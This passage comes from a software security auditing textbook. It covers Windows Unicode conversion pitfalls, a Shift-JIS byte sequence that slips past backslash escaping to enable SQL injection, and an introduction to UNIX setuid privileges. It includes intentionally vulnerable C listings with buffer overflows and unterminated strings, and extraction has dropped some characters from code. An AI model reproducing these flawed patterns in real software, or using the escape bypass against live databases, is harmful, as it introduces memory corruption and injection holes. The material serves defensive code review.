[????.]) includes an example of a well-publicized homographic attack in the discussion on phishing. For now, just understand that attackers can take advantage of these simple tricks when you're reviewing an application that presents users with data from external sources. Even if the data isn't directly harmful, attackers might be able to use it to trick unsuspecting users. Windows Unicode Functions The Windows operating system deals with string data internally as wide characters (encoded as UTF-16). Because many applications deal with ASCII strings (or perhaps other single or multibyte character sets), Windows provides functions for converting between the two formats as well as ASCII wrapper functions for all the exposed API functions that would otherwise require wide character strings. The conversion between character encodings takes place similarly whether an application uses ASCII wrapper functions or converts data explicitly. The rules for these conversions are determined primarily by the behavior of two functions: MultiByteToWideChar() and WideCharToMultiByte(). The details of how these functions perform conversions have a number of security implications ranging from memory corruption errors to conversions that produce unexpected results, as discussed in the following sections. MultiByteToWideChar() The MultiByteToWideChar() function is used to convert multi- and single-byte character strings into Unicode strings. A maximum of cchWideChar characters can be written to the output buffer (lpWideCharString). A common error that application developers make when using this function is to specify the destination buffer's size in bytes as the cchWideChar parameter. Doing this means twice as many bytes could be written to the output buffer than space has been allocated for, and a buffer overflow might occur. The MultiByteToWideChar() function is summarized in the following list:  Function int MultiByteToWideChar(UINT CodePage, DWORD dwFlags, LPCSTR lpMultiByteStr, int cbMultiByte, LPWSTR lpWideCharStr, int cchWideChar)  API Win32 API  Similar functions mbtowc  Purpose MultiByteToWideChar() maps a single- or multibyte character string to a wide character string. The following code is an example misusing MultiByteToWideChar(): HANDLE OpenFile(LPSTR lpFilename) { WCHAR wPath[MAX_PATH]; The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 470 if(MultiByteToWideChar(0, 0, lpFilename, -1, wPath, sizeof(wPath)) == 0) Return INVALID_HANDLE_VALUE; ... Create the file ... } This code is an example of the problem just mentioned. The bolded line shows the wide character count is set to the size of the output buffer, which in this case is MAX_PATH * sizeof(WCHAR). However, a WCHAR is two bytes, so the output size provided to MultiByteToWideChar() is interpreted as MAX_PATH * 2 bytestwice the real length of the output buffer. WideCharToMultiByte() The WideCharToMultiByte() function is the inverse of MultiByteToWideChar(); it converts a string of wide characters into a string of narrow characters. Developers are considerably less likely to trigger a buffer overflow when using this function because the output size is in bytes rather than wide characters, so there's no misunderstanding the meaning of the size parameter. The WideCharToMultiByte() function is summarized in the following list:  Function int WideCharToMultiByte(UINT CodePage, DWORD dwFlags, LPCWSTR lpWideCharStr, int cchWideChar, LPSTR lpMultiByteStr, int cbMultiByte, LPCSTR lpDefaultChar, LPBOOL lpUsedDefaultChar)  API Win32 API  Similar functions wctombc  Purpose WideCharToMultiByte() maps a wide character string to a single- or multibyte character string. Because wide characters are a larger data type, their information sometimes needs to be represented by a sequence of single-bytes, called a multibyte character. The rules for encoding wide characters into multibyte characters are governed by the code page specified as the first argument to this function. NUL-Termination Problems The MultiByteToWideChar() and WideCharToMultiByte() functions don't guarantee NUL-termination if the destination buffer is filled. In these cases, the functions return 0, as opposed to the number of characters converted. It's intended that users of these functions check the return value; however, this is often not the case. Listing 8-29 shows a brief example. Listing 8-29. Return Value Checking of MultiByteToWideChar() The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 471 HANDLE open_file(char *name) { WCHAR buf[1024]; HANDLE hFile; MultiByteToWideChar(CP_ACP, 0, name, strlen(filename), buf, sizeof(buf)/2); wcsncat(buf, sizeof(buf)/2 wcslen(buf) 1, ".txt"); ... } Because the return value is left unchecked, the fact that buf isn't big enough to hold the name being converted isn't caught, and buf is not NUL-terminated. This causes wcsncat() to miscalculate the remaining buffer size as a negative number, which you know is converted into a large positive number if you review the wcsncat() function prototype listed under strncat(). MultiByteToWideChar() might have additional problems when multibyte character sets are being converted. If the MB_ERR_INVALID_CHARS flag is specified, the function triggers an error when an invalid multibyte sequence is encountered. Here's an example showing a potentially dangerous call: PWCHAR convert_string(UINT cp, char *instr) { WCHAR *outstr; size_t length; length = strlen(instr) + 1; outstr = (WCHAR *)calloc(length, sizeof(WCHAR)); MultiByteToWideChar(cp, MB_ERR_INVALID_CHARS, instr, -1, outstr, -1); return outstr; } Again, because the function's return value isn't checked, the convert_string() function doesn't catch invalid character sequences. The problem is that MultiByteToWideChar() returns an error when it sees an invalid character sequence, but it doesn't NUL-terminate the destination buffer (outstr, in this case). Because the The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 472 return value isn't checked, the function doesn't deal with this error, and an unterminated wide string is returned to the caller. Because of this any later processing on this string could result in memory corruption. Unicode Manipulation Vulnerabilities Memory management issues can also occur when using any bounded multibyte or wide character functions. Take a look at an example using wcsncpy(): wchar_t destination[1024]; wcsncpy(destination, source, sizeof(destination)); At first glance, it seems as though this code is correct, but of course the size parameter should indicate how big the destination buffer is in wide characters, not the size in bytes; so the third argument is actually twice the length of the output buffer. This mistake is easy to make, so code auditors should keep an eye out for it. Another interesting quirk is errors in dealing with user-supplied multibyte-character data strings. If the application code page indicates that a double-byte character set (DBCS) is in use, characters can be one or two bytes. Applications processing these strings need to identify whether each byte being processed is a single character or part of a two-byte sequence; in Windows, this check is performed with the IsDBCSLeadByte() function. Vulnerabilities in which a pointer can be incremented out of the buffer's bounds can easily occur if the application determines that a byte is the first of a two-byte sequence and neglects to check the next byte to make sure it isn't the terminating NUL byte. Listing 8-30 shows an example. Listing 8-30. Dangerous Use of IsDBCSLeadByte() char *escape_string(char *src) { char *newstring, *dst; newstring = (char *)malloc(2*strlen(src) + 1); if(!newstring) return NULL; for(dst = newstring; *src; src++){ if(IsDBCSLeadByte(*src)){ *dst++ = *src++; *dst++ = *src; continue; The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 473 } if(*src == '\'')) *dst++ = '\'; *dst++ = *src; } return newstring; } When the code in Listing 8-30 encounters a lead byte of a two-byte sequence, it does no checking on the second byte of the two-byte sequence. If the string passed to this function ends with a DBCS lead byte, the lead byte and the terminating NUL byte are written to the destination buffer. The src pointer is incremented past the NUL byte and continues processing bytes outside the bounds of the string passed to this function. This error could result in a buffer overflow of the newstring buffer, as the allocated length is based on the string length of the source string. Note When multibyte character sequences are interpreted, examine the code to see what can happen if the second byte of the sequence is the string's terminating NUL byte. If no check is done on the second byte, processing data outside the buffer's bounds might be possible. Code Page Assumptions When converting from multibyte to wide characters, the code page argument affects how MultiByteToWideChar() behaves, as it specifies the character set the multibyte string is encoded in. In most cases, this function is used with the default system code page (CP_ACP, ANSI Code Page), which doesn't do much. However, attackers can affect the code page in some situations by constructing multibyte character sequences that evade filters in earlier layers. Listing 8-31 is an example of a vulnerable code fragment. Listing 8-31. Code Page Mismatch Example if(strchr(filename, '/') || strchr(filename, '\\')){ error("filenames with slashes are illegal!"); return 1; } The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 474 MultiByteToWideChar(CP_UTF8, 0, filename, strlen(filename), wfilename, sizeof(wfilename)/2); ... As you can see, encoding is performed after a check for slashes, so by encoding slashes, attackers targeting earlier versions of Windows can evade that check and presumably do something they shouldn't be able to later. Akio Ishida and Yasuo Ohgaki discovered an interesting variation on this vulnerability in the PostgreSQL and MySQL database APIs (available at www.postgresql.org/docs/techdocs.50). As mentioned, SQL control characters are commonly escaped with the backslash (\) character. However, some naive implementations of this technique might not account for multibyte characters correctly. Consider the following sequence of bytes: 0x95 0x5c 0x27 It's actually a string in which the first two bytes are a valid Shift-JIS encoded Japanese character, and the last byte is an ASCII single quote ('). A naive filter won't identify that the first two bytes refer to one character; instead, it interprets the 0x5c byte as the backslash character. Escaping this sequence would result in the following bytes: 0x95 0x5c 0x5c 0x5c 0x27 Passing the resulting string to a multibyte-aware database can cause a problem because the first two bytes are interpreted as a single Japanese character. Then the remaining two 0x5c bytes are interpreted as an escaped backslash sequence. Finally, the last byte is left as an unescaped single quote character. This misinterpreted encoding can be exploited to inject SQL statements into an application that otherwise shouldn't be vulnerable. Having multibyte character sets used with MultiByteToWideChar() might have some additional complications related to memory corruption. Listing 8-32 shows an interesting call to this function. Listing 8-32. NUL Bytes in Multibyte Code Pages PWCHAR convert_string(UINT cp, char *instr) { WCHAR *outstr; size_t length; length = strlen(instr) * 2 + 1; The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 475 outstr = (WCHAR *)calloc(length, sizeof(WCHAR)); MultiByteToWideChar(cp, 0, instr, -1, outstr, -1); return outstr; } The MultiByteToWideChar() function in Listing 8-32 is vulnerable to a buffer overflow when a multibyte code page is used. Why? Because the output string length is calculated by multiplying the input string length by two. However, this calculation isn't adequate because the NUL byte in the string could be part of a multibyte character; therefore, the NUL byte can be skipped and out-of-bounds characters continue to be processed and written to the output buffer. In UTF-8, if the NUL byte appeared in a multibyte sequence, it would form an illegal character; however, MultiByteToWideChar() enters a default replacement or skips the character (depending on Windows versions), unless the MB_ERR_INVALID_CHARS flag is specified in the second argument. When that flag is specified, the function returns an error when it encounters an illegal character sequence. Character Equivalence Using WideCharToMultiByte() has some interesting consequences when decoding data. If conversions are performed after character filters, the code is equally susceptible to sneaking illegal characters through filters. When converting wide characters into multibyte, however, the risk increases for two main reasons:  Even with the default code page, multiple 16-bit values often map to the same 8-bit character. As an example, if you want a backslash to appear in the input stream of the converted character set, you can supply three different wide characters that convert into the backslash byte (0x5c): 0x00 0x5c, 0x22 0x16, and 0xff 0x0c. You can do this not because the backslash character has three Unicode representations, but because output character represents the closest match when an exact conversion can't be performed. This behavior can be toggled with the WC_NO_BEST_FIT_CHARS flag.  When a character is encountered that can't be converted to a multibyte character and a close replacement can't be found (or the WC_NO_BEST_FIT flag is set), a default replacement character is inserted in the output stream; the . character is used for the ANSI code page, unless otherwise specified. If this replacement character is filtered, a wide range of values can generate this character in the output stream. The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 476 Auditing code that uses MultiByteToWideChar() or WideCharToMultiByte() requires careful attention to all these factors:  Check whether data is required to pass through a filter before it's converted rather than after.  Check whether the code page is multibyte or can be specified by a user.  If the MB_ERR_INVALID_CHARS flag is set for converting multibyte streams, user input can prematurely terminate processing and leave an unterminated output buffer. If it's omitted, a multibyte sequence including the trailing NUL byte can be specified, potentially causing problems for poorly written code.  If the WC_NO_BEST_FIT_CHARS flag is present for converting wide character data, users might be able to supply multiple data values that translate into the same single-byte character. The best-fit matching rules are years out of date, and most developers shouldn't use them anyway.  Look for any other flags affecting how these functions might be misused.  Make sure the return value is checked. If a conversion error is not identified, unterminated buffers might be used incorrectly.  Check the sizes of input and output buffers, as mentioned in the discussion of memory corruption in Chapter 5(? [????.]). 7.4.7 Summary In this chapter, you've explored the vulnerabilities that can occur when processing textual data as strings. Most of these vulnerabilities result from processing in-band textual metadata in the form of metacharacters. Mishandling this in-band data can result in memory corruption, as it commonly does when improperly handling the NUL character with the C string APIs. However, there are many other security issues that can occur with more complex metacharacter representations, such as path names, format strings, and SQL. These issues are further aggravated when different encoding schemes and character sets allow data to be formatted in ways that developers do not anticipate and account for. As an auditor, you need to understand the risks associated with vulnerable in-band data handling, and how to identify and prevent them. 7.5 Chapter 9. UNIX I: Privileges and Files "There are two major products that came from Berkeley: LSD and UNIX. We don't believe this to be a coincidence." J. S. Anderson "First, LSD did not come from Berkeley. LSD was developed in Sandoz labs in Basel, Switzerland. Second, BSD did come from Berkeley, but it is not 'UNIX.'" Nick Johnson The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 477 7.5.1 Introduction UNIX is more than just a single operating system; it's a phenomenon. What started as a hacker's project to create a functional multi-user operating system has evolved into an array of OSs that all share some basic characteristics and a common ancestor. Writing about UNIX from a technical perspective can be rather intimidating, simply because it's hard to know what to call this phenomenon. Does UNIX refer only to vendors who paid for the use of the trademark? What do you call UNIX-like systems, such as Linux and BSD? UNIX-like operating systems? UN*X? UNIX derivatives? Should you preface everything with GNU? In this book, the term "UNIX" is used to refer to all of the UNIX derivatives that exist today: Linux, GNU/Linux, OpenBSD, FreeBSD, NetBSD, Solaris, HPUX, IRIX, AIX, SCO, Unicos, TiVo, Mr. Coffee, and every other OS resembling UNIX that (roughly) conforms to POSIX standards. Some might consider this usage unconscionable, but as long as you understand what's meant by the term in this book, it's good enough for the purposes of this discussion. Welcome to the first of two chapters on auditing UNIX applications. You start with a brief overview of UNIX technology, and then dive right in to study the UNIX access control model. As part of this exploration, you look at several ways in which application developers can mismanage process privileges and expose their programs to attackers. The second half of this chapter focuses on vulnerabilities related to interaction with the file system. You learn about file permissions and ownership, file system internals, linking attacks, race conditions, and issues with temporary files and public directories. Chapter 10(? [????.]), "UNIX II: Processes," continues the study of UNIX-centric application security by looking at the life and runtime environment of a typical process. You examine security issues related to various system services, including program invocation, program attribute retention, and interprocess communication (IPC) mechanisms. 7.5.2 UNIX 101 The UNIX family of operating systems has been around for a long time (in computing terms) and undergone many variations and changes. Ken Thompson developed the first incarnation of UNIX in 1969. His employer, Bell Labs, had just withdrawn from a joint venture to develop the Multiplexed Information and Computing Service (Multics) system: a large-scale, ambitious project to create a time-sharing system. The design turned out to be unwieldy and mired in complexity, however. Bell Labs worked on the project for four years but then withdrew, as it was still far from completion with no end in sight. The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 478 Ken Thompson then decided to write his own operating system, and he took a completely different approach. He focused on simplicity and pragmatic compromise, and he designed and implemented the system in an incremental fashion, one piece at a time. Over time, he would periodically implement a new tool or new subsystem and synthesize it into the existing code. Eventually, it shaped up to form a real operating system, and UNIX was born. Note The name UNIX is actually a play on the name Multics. There are a few funny explanations of the genesis of the name. One amusing quote is "UNIX is just one of whatever it was that Multics had lots of." There's the obligatory "UNIX is Multics without balls." There's also a commonly repeated anecdote that UNIX was originally spelled Unics, which stood for the slightly non sequitur Uniplexed Information and Computing Service. Comedy gold. UNIX systems generally feature simple and straightforward interfaces between small, concise modules. As you'll see, the file abstraction is used heavily throughout the system to access just about everything. At the core of a UNIX system is the kernel, which manages system devices, performs process maintenance and scheduling, and shares system resources among multiple processes. The userland portion of a UNIX system is typically composed of hundreds of programs that work in concert to provide a robust user interface. UNIX programs are typically small and designed around simple, easily accessible text-based interfaces. This tool-oriented approach to system design is often referred to as the "UNIX design philosophy," which can be summed up as "Write simple tools that do only one thing and do that one thing well, and make them easily interoperable with other tools." The following sections explain the basics of a typical UNIX system, and then you jump into the details of privilege management. Users and Groups Every user in a UNIX system has a unique numeric user ID (UID). UNIX configurations typically have a user account for each real-life person who uses the machine as well as several auxiliary UIDs that facilitate the system's supporting functionality. These UIDs are used by the kernel to decide what privileges a given user has on the system, and what resources they may access. UID 0 is reserved for the superuser, which is a special user who, in essence, has total control of the system. The superuser account is typically given the name "root." UNIX also has the concept of groups, which are used for defining a set of related users that need to share resources such as files, devices, and programs. Groups are The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 479 also identified with a unique numeric ID, known as a group ID (GID). GIDs assist the kernel in access control decisions, as you will see throughout this chapter. Each user can belong to multiple groups. One is the user's primary group, or login group, and the remaining groups are the user's supplemental groups, or secondary groups. The users of a system are typically defined in the password file, /etc/passwd, which can be read by every local user on the system. There's usually also a corresponding shadow password file that can be read only by the superuser; it contains hashes of user passwords for authentication. Different UNIX implementations store this information in different files and directories, but there's a common programmatic interface to access it. The password file is a line-based database file that records some basic details about each user on the system, delimited by the colon character. An entry in the password file has the following format: bob:x:301:301:Bobward James Smithington:/home/bob:/bin/bash The first field contains a username that identifies the user on the system. The next field traditionally contained a one-way hash of the user's password. However, on contemporary systems, this field usually just has a placeholder and the real password hash is stored in the shadow password database. The next two fields indicate the user's UID and primary GID, respectively. Supplemental groups for users are typically defined in the group file, /etc/group. The next field, known as the GECOS field, is a textual representation of the user's full name. It can also contain additional information about the user such as their address or phone number. Note GECOS actually stands for "General Electric Comprehensive Operating System," which was an old OS originally implemented by General Electric, and shortly renamed thereafter to GCOS. The GECOS field in the password file was added in early UNIX systems to contain ID information needed to use services exposed by GCOS systems. For a more detailed history of GECOS, consult the wikipedia entry at http://en.wikipedia.org/wiki/GECOS. Each user also has a home directory defined in the password file (/home/bob in this case), which is usually a directory that's totally under the user's control. Finally, each user also has a default shell, which is the command-line interface program that runs when the user logs in. The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 480 Files and Directories Files are an important part of any computer system, and UNIX-based ones are no exception. The kernel provides a simple interface for interacting with a file, which allows a program to read, write, and move around to different locations in the file. UNIX uses this file abstraction to represent other objects on the system as well, so the same interface can be used to access other system resources. For example, a pipe between programs, a device driver, and a network connection all can be accessed through the file-based interface exposed by the kernel. On a UNIX system, files are organized into a unified hierarchical structure. At the top of the hierarchy is the root directory (named /). Files are uniquely identified by their name and location in the file system. A location, or pathname, is composed of a series of directory names separated by the slash (/) character. For example, if you have an internetd.c file stored in the str directory, and the str directory is a subdirectory of /home, the full pathname for the file is /home/str/internetd.c. A typical UNIX system has a number of directories that are set up by default according to certain historical conventions. The exact directory structure can vary slightly from system to system, but most directory structures approximate the Filesystem Hierarchy Standard (available, along with bonus Enya lyrics, at www.pathname.com/). A standard UNIX system includes the following directories:  /etc This directory usually contains configuration files used by various subsystems. Among other things, the system password database is located in this directory. If it's not there, it's somewhere strange, such as /tcb.  /home Home directories for users on the system to store their personal files and applications are typically located here. Sometimes home directories are stored at a different location, such as /usr/home.  /bin This directory contains executables ("binaries," hence the directory name) that are part of the OS. They are usually the files needed to operate the system in single-user mode before mounting the /usr file system. The rest of the OS binaries are usually in /usr/bin.  /sbin This directory contains executables intended for use by superusers. Again, /sbin contains the core utilities useful for managing a system in single-user mode, and /usr/sbin contains the rest of the administrative programs.  /var This directory is used primarily to keep files that change as programs are running. Log files, data stores, and temporary files are often stored under this directory. Although the visible hierarchy appears to users to be a single file system, it might in fact be composed of several file systems, which are grafted together through the use of mount points. Mount points are simply empty directories in the file system that a new file system can be attached to. For example, the /mnt/cdrom directory could be The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 481 reserved for use when mounting a CD. If no CD is mounted, it's a normal directory. After the CD is mounted, you can access the file system on the CD through that directory. So you could view the test.txt file in the CD's root directory by accessing the /mnt/cdrom/test.txt file. Each file system that's mounted has a corresponding kernel driver responsible for managing file properties and data on the storage media, and providing access to files located on the file system. Typically, a file system module handles access to files on a partition of a physical disk, but plenty of virtual file systems also exist, which do things such as encapsulate network resources or RAM disks. Every file on the system belongs to a single user and a single group; it has a numeric user ID (UID) indicating its owner and a numeric group ID (GID) indicating its owning group. Each file also has a simple set of permissions, a fixed-size bit mask that indicates which actions are permissible for various classes of users. File permissions are covered in "File Security(? [????.])" later in this chapter. Processes A program is an executable file residing on the file system. A process is an instance of a program running on a system. A process has its own virtual memory environment that is isolated from all other processes on the system. Most modern UNIX systems also provide mechanisms for multiple execution flows to share the same address space to support threaded programming models. Each process on a UNIX system has a unique process ID (PID), and runs with the privileges of a particular user, known as its effective user. The privileges associated with that user determines which resources and files the process has access to. Usually, the effective user is simply the user that runs the application. In certain situations, however, processes can change who they're running as by switching to an effective user with different privileges, thus expanding or reducing their current access capabilities to system resources. When the UNIX kernel checks to see whether a process has permission to perform a requested action, it usually does a simple test before examining the relevant user and group permissions: If the process is running as the superuser, the action is categorically allowed. This makes the superuser a special entity in UNIX; it's the one account that has unfettered access to the system. Several actions can be performed only by the superuser, such as mounting and unmounting disks or rebooting the system (although systems can be configured to allow normal users to perform these tasks as well). In some situations, a normal user needs to perform actions that require special privileges. UNIX allows certain programs to be marked as set-user-id (setuid), which means they run with the privileges of the user who actually owns the program file, as opposed to running with the privileges of the user who starts the application. The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 482 So, if a program is owned by root, and the permissions indicate that it's a setuid file, the program runs as the superuser regardless of who invokes it. There's a similar mechanism for groups called set-group-id (setgid), which allows a program to run as a member of a specific group. 7.5.3 Privilege Model In the UNIX access control model, each process has three associated user IDs:  Real user ID The ID of the user who started the process (that is, the user ID of the user who initially ran the program).  Saved set-user-ID If a program is configured as setuid, it runs as the user that owns the file when it's called, regardless of who called it. The ID of this user, the set-user-ID, is saved here.  Effective user ID The actual ID used when permission checks are done in the kernel. The effective user ID tells you the current privileges of the process. If a program wants to change its privileges, it changes its effective user ID to the ID of the user with the desired privileges. If a program has an effective user ID of 0, it has full superuser privileges to the system. In general, a process is allowed to change its effective user ID to its real user ID or saved set-user-ID. In this way, processes can toggle their effective permissions between the user who started the program and the more privileged set-user-ID. Note that a program with the superuser's effective user ID doesn't have to obey many rules, so the semantics of how those programs manage their IDs are more subtle. Each UNIX process also has multiple group IDs:  Real group ID The primary group ID of the user who called the process.  Saved set-group-ID If a program is configured as setgid, it runs as a member of a particular group. That group, the set-group-ID, is saved here.  Effective group ID One of the group IDs used when permission checks are done in the kernel. It's used with the supplemental group IDs when the kernel performs access control checks.  Supplemental group IDs Each process also maintains a list of groups the process has membership in. This list is used with the effective group ID when the kernel does permission checks of group permissions. The group IDs mirror the user IDs as far as functionality, except supplemental groups are also considered in access control decisions. Note that having an effective group ID of 0usually the wheel groupdoes not grant any special privileges in the system. It gives you access commensurate with the privileges members of the wheel group have, but it doesn't give you any special consideration at the kernel level. (Caveat: There have been vague references to older UNIX systems where the kernel does give special consideration to group 0, but the authors never encountered such a system.) The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 483 When a process runs another program, the real user ID stays the same. The effective user ID also stays the same, unless the new program is setuid. The saved set-user-ID is replaced with the effective user ID of the new process when it starts. So if you temporarily drop privileges by setting your effective user ID equal to your real user ID and then run a new program with exec(), the elevated privileges stored in your saved set-user-ID aren't passed on to the new program. Privileged Programs There are basically three categories of programs in UNIX, described in the following sections, that manage privileges by manipulating their effective user and group IDs. We will explore each of them in this section. Nonroot Setuid and Setgid Programs The setuid and setgid programs allow normal users to perform actions that require privileges they don't have. For example, the wall program is used to broadcast a message to all users on a system. This program works by writing a message to each user's terminal device. Normally, a regular (non-root) user can't write directly to another user's terminal device, as this would allow users to spy on each other and interfere with one another's terminal sessions. So the wall program is usually installed as setgid tty, which means wall runs as a member of the group tty. All the terminal devices on a system belong to this tty group, and permissions are set up so that the terminal devices are group writeable. Therefore, the wall program can provide users with the ability to write to other user's terminal devices in a controlled, safe fashion. Another example is the minicom programa text-based interface for interacting with a serial device, such as a modem. The administrator typically doesn't want to allow users to talk directly with serial device drivers, as this could lead to various attacks and reliability issues. One way some UNIX systems work around this requirement is by making the serial devices owned by the user uucp and configuring the minicom program to run setuid uucp. This way, when a normal user runs minicom, the program runs as the uucp user and has the privileges necessary to make use of serial devices. So a process's effective permissions are determined by its effective user ID, its effective group ID, and its supplemental group IDs. Setuid programs start off running with their elevated privileges, so their effective user ID is equal to their saved set-user-ID. Setgid programs behave in the same fashion. At any point, these programs are allowed to switch their effective IDs to their real IDs to drop their privileges. If they want to regain their privileges, they can toggle their effective IDs back to their saved set-user-IDs. The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 484 These programs can permanently drop their privileges by changing their saved setIDs and effective IDs to be equal to their real IDs, so they can't toggle to the user ID with higher privileges. Setuid Root Programs Most setuid programs in UNIX environments are setuid root, meaning they run as the superuser when they are started. The rules for setuid root programs are a little different; when a process has an effective user ID of 0, it doesn't have to obey conventions for how it manipulates its associated user and group IDs. Also, the semantics of the ID management API functions change slightly, as explained shortly in "User ID Functions" and "Group ID Functions." A good example of a setuid root program is the ping program. Ping needs the capability to use a raw socket, which requires root privileges. A raw socket can be used to spoof arbitrary network packets and retrieve certain types of raw network packets, so allowing nonprivileged users to create one would allow them to sniff traffic and forge data packets (generally considered rude in polite society). Therefore, this capability is limited to root users, and the ping program is configured as setuid root so that it can create a raw socket. A setuid root program starts off with an effective user ID of 0, a saved set-user-ID of 0, and a real user ID corresponding to the user who started the program. Setuid root programs typically behave like other setuid and setgid programs, in that they manage privileges by toggling their effective user ID between their real user ID and saved set-user-ID. They permanently drop their privileges by setting all three IDs to the real user ID. However, they aren't required to obey these conventions when they're running as the superuser, so they could conceivably change their IDs in arbitrary ways. Daemons and Their Children In UNIX, daemons are long-running processes that provide system services (not unlike Windows service processes). They are usually started automatically by the system at boot time, or they are started by an administrator or a job-scheduling program. Daemons often run as the superuser so that they can perform privileged operations. A daemon running as root starts with an effective user ID of 0, a real user ID of 0, and a saved set-user-ID of 0. Its group membership corresponds to the root account's group membership, which equates to an effective group ID of 0, a real group ID of 0, a saved set-group-ID of 0, and membership in several administration-related supplementary groups. Daemon programs often run other programs to handle required tasks, and these child programs are usually also started with root privileges. These daemons and their child processes might temporarily assume a normal user's identity to perform certain The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 485 actions in a safe manner or to minimize the amount of time they're running with root privileges. To pull this off, the program typically changes its effective user ID to the user ID it's interested in assuming. However, first the program needs to change its effective group ID to an appropriate group ID and alter its supplemental group list to contain appropriate groups. As long as the program leaves its saved set-user-ID or real user ID set to 0, it can regain its superuser privileges later. A program running as root might also want to fully drop its root privileges and assume the role of a normal user permanently. To fully drop root privileges, the program must set all three of its user IDs and group IDs to the correct IDs for the user that it wants to become. A good example of a program like this is the login program, which authenticates users on a local terminal or remotely via the telnet service. This login program displays the login prompt and waits for the user to try to log in to the machine. At this point in time, the login program is running as root, because it needs access to system authentication databases. If the user authenticates successfully, login assumes the identity of that user before it opens a command shell, such as /bin/sh It does this by initializing its group IDs based on the user's group membership and then setting all three of its user IDs to the user's ID. User ID Functions The setuid(), seteuid(), setreuid(), and setresuid() functions are used to manipulate the three user IDs associated with a process. These functions have slightly different semantics on different UNIX OSs, and these differences can lead to security problems in applications that are intended to be portable across UNIX variants. This section introduces the user ID functions exposed by the standard C library and notes system-specific idiosyncrasies when relevant. Note You can find an excellent paper on the nuances of the setuid() family of functions at www.csl.sri.com/users/ddean/papers/usenix02.pdf. The seteuid() Function The effective user ID associated with a process is changed with the seteuid() function: int seteuid(uid_t euid); The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 486 This function, summarized in Table 9-1, has a single parameter, euid, which indicates the desired UID that the effective user ID should be set to. If a process is running with superuser privileges (effective user ID of 0), it can set the effective user ID to any arbitrary ID. Otherwise, for non-root processes, it can toggle the effective user ID between the saved set-user-ID and the real user ID. Programs use seteuid() to temporarily change their privileges. Table 9-1. Seteuid() Behavior Privileged OS Notes Yes General Changes the effective user ID to any arbitrary value. Yes Linux libc glibc 2.1 and earlier If the new ID isn't the real user ID or the saved set-user-ID, the saved set-user-ID is updated along with the effective user ID. seteuid() is equivalent to setreuid(-1, euid). No General Toggles the effective user ID between the real user ID, the effective user ID, and the saved set-user-ID. No NetBSD FreeBSD Toggles the effective user ID between the real user ID and the saved set-user-ID. Take a closer look at this nonprivileged case: Say a user named admin has a user ID of 1000. The admin user runs a file owned by the bin user (typically user ID 1) and the saved set-user-ID bit is set on the file. When the program runs, the process has the following IDs: real user ID - 1000 - admin saved set-user-ID - 1 - bin effective user ID - 1 - bin The program can do anything the bin user is allowed to do. If the program wants to temporarily relinquish these privileges, it can use seteuid(1000). It then has the following privileges: real user ID - 1000 - admin saved set-user-ID - 1 - bin effective user ID - 1000 - admin If the program wants to regain its privileges, it uses seteuid(1). It then has these associated IDs: The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 487 real user ID - 1000 - admin saved set-user-ID - 1 - bin effective user ID - 1 - bin For the sake of completeness, say you have a program running as root with the following IDs: real user ID - 0 - root saved set-user-ID - 0 - root effective user ID - 0 - root This program can call a seteuid() with any value it likes, including values for user IDs that don't exist in the system, and the kernel allows it. Using a seteuid(4242) would result in the following IDs: real user ID - 0 - root saved set-user-ID - 0 - root effective user ID - 4242 - arbitrary Warning There's one caveat with seteuid() that should never be an issue in production code, but it's worth mentioning. On Linux systems with libc or glibc versions before 2.1, if you are the superuser and change the effective user ID to an ID that isn't the real user ID or the saved set-user-ID, the saved set-user-ID is changed along with the effective user ID. So if you're root and all three of your IDs are 0, and you use a seteuid(4242) on a Linux glibc 2.0 system, the process would have the following IDs: real user ID - 0 - root saved set-user-ID - 4242 - arbitrary effective user ID - 4242 - arbitrary The setuid() Function The behavior exhibited by the setuid() function has evolved and mutated over time, with subtle variances surfacing in different implementations across divergent UNIX systems. It has the following prototype: int setuid(uid_t uid); The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 488 The uid parameter is used to specify a new effective user ID to be associated with the calling process. This function will also change both the real user ID and saved set-user-ID, contingent upon the privileges the calling process is running with and the UNIX variant that the process is running on (see Table 9-2). For processes running with superuser privileges, setuid() sets all three of a process's user IDs to the specified argument. For example, if a process's effective user ID is 0, a setuid(12345) sets the real user ID, saved set-user-ID, and effective user ID to 12345. setuid() is mainly used for permanently assuming the role of a user, usually for the purposes of dropping privileges. Table 9-2. Setuid() Behavior Privileged OS Notes Yes General Real user ID, effective user ID, and saved set-user-ID are all set to the new value. No Linux Solaris You can specify the real user ID or the saved set-user-ID. The effective user ID is updated; works much like seteuid(). No OpenBSD You can specify the real user ID, the saved set-user-ID, or the effective user ID. If the specified value is equal to the the current effective user ID, the real user ID and saved set-user-ID are also updated. Otherwise, it works like seteuid(), just updating the effective user ID. No NetBSD You can specify only the real user ID. The real user ID, effective user ID, and saved set-user-ID are all set to the specified value. No FreeBSD You can specify the real user ID or the effective user ID. The real user ID, effective user ID, and saved set-user-ID are set to the specified value. If the process isn't running as the superuser, setuid() has a behavior that varies across different flavors of UNIX. UNIX variants fall into two basic camps. The first camp believes that setuid() should work just like seteuid() when dealing with nonsuperuser processes. Linux, Solaris, and OpenBSD fall roughly into this camp. The second camp says that setuid() should work in a fashion consistent with how it works for superuser programs, so it should drop all privileges if the user requests a setuid() to the real user ID. FreeBSD and NetBSD belong in this camp. Say the admin user runs a set-user-ID bin file: real user ID - 1000 - admin saved set-user-ID - 1 - bin The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 489 effective user ID - 1 - bin In Linux and Solaris, setuid() behaves exactly like seteuid() when the effective user ID isn't the superuser's. You can specify the real user ID or saved set-user-ID as 